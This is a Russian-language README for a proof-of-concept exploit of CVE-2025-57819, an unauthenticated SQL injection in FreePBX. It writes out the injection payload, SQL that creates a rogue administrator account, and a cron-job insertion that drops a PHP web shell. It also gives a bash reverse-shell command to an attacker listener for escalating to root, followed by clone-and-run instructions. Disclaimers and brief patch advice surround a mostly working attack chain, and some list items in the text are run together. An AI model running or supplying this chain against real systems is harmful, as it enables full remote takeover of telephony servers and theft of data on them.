
Эксплойт proof-of-concept для CVE-2025-57819 — неаутентифицированной SQL-инъекции в FreePBX, которая через цепочку создания учётной записи администратора, развёртывания веб-шелла и повышения привилегий до root приводит к RCE.
Только для образовательных и исследовательских целей в области безопасности - см. Правовое уведомление ниже
Доказательство концепции эксплуатации для CVE-2025-57819, критической неаутентифицированной SQL-инъекции в FreePBX, позволяющей удалённое выполнение кода. Данный PoC опубликован после выпуска официальных патчей исключительно для исследований в области безопасности и авторизованного тестирования.
Версии FreePBX 15.x, 16.x и 17.x (ниже пропатченных версий) уязвимы к неаутентифицированной SQL-инъекции в AJAX-обработчике модуля endpoint. Данная цепочка уязвимостей позволяет:
| CVE ID | CVE-2025-57819 |
| Тип | Неаутентифицированная SQL-инъекция (на основе ошибок) |
| CVSS | 9.8 / 10.0 (Критический) |
| Затронуты | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Пропатчены | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Да (29 августа 2025 г.) |
GET /admin/ajax.php?brand=<PAYLOAD>
Параметр brand в AJAX-обработчике модуля endpoint принимает пользовательский ввод без валидации, что приводит к SQL-инъекции на основе ошибок.
Проверка SQLi с использованием извлечения на основе ошибок через EXTRACTVALUE() для получения имени базы данных:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Вставка нового административного пользователя в asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
С действительными учётными данными администратора эксплойт аутентифицируется в FreePBX и устанавливает аутентифицированную сессию. Cookies сессии сохраняются и используются для всех последующих аутентифицированных запросов.
Внедрение команды веб-шелла в asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Cron-раннер FreePBX выполняет команду от имени пользователя asterisk, развёртывая PHP веб-шелл.
PHP веб-шелл развёртывается в /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
Эксплойт опрашивает веб-шелл до его активации, достигая RCE от имени пользователя asterisk (uid=999).
Если на цели настроен incron:
/var/spool/asterisk/incron/incrond (работающий от root) обнаруживает создание файла/usr/bin/sysadmin_manager с именем файла-триггераsysadmin_manager проверяет GPG-подпись и передаёт управление хуку fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Результат: root-шелл на обратном слушателе (при наличии incron).
brandasterisk.cron_jobs выполняет команды от имени asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Версия | Статус |
|---|---|
| 15.0.0 - 15.0.65 | Уязвима |
| 15.0.66+ | Пропатчена |
| 16.0.0 - 16.0.88 | Уязвима |
| 16.0.89+ | Пропатчена |
| 17.0.0 - 17.0.2 | Уязвима |
| 17.0.3+ | Пропатчена |
Немедленные:
/admin/ajax.php из недоверенных сетейsystemctl disable incrondПостоянные: Обновиться до пропатченных версий: 15.0.66+, 16.0.89+ или 17.0.3+
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ
Данное доказательство концепции предоставляется ИСКЛЮЧИТЕЛЬНО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ И ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным инструментом.
ВЫ ОБЯЗАНЫ СОБЛЮДАТЬ:
ЗАПРЕЩЁННОЕ ИСПОЛЬЗОВАНИЕ:
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Автор не несёт ответственности за:
Данная уязвимость:
JazzTheRabbit
MIT License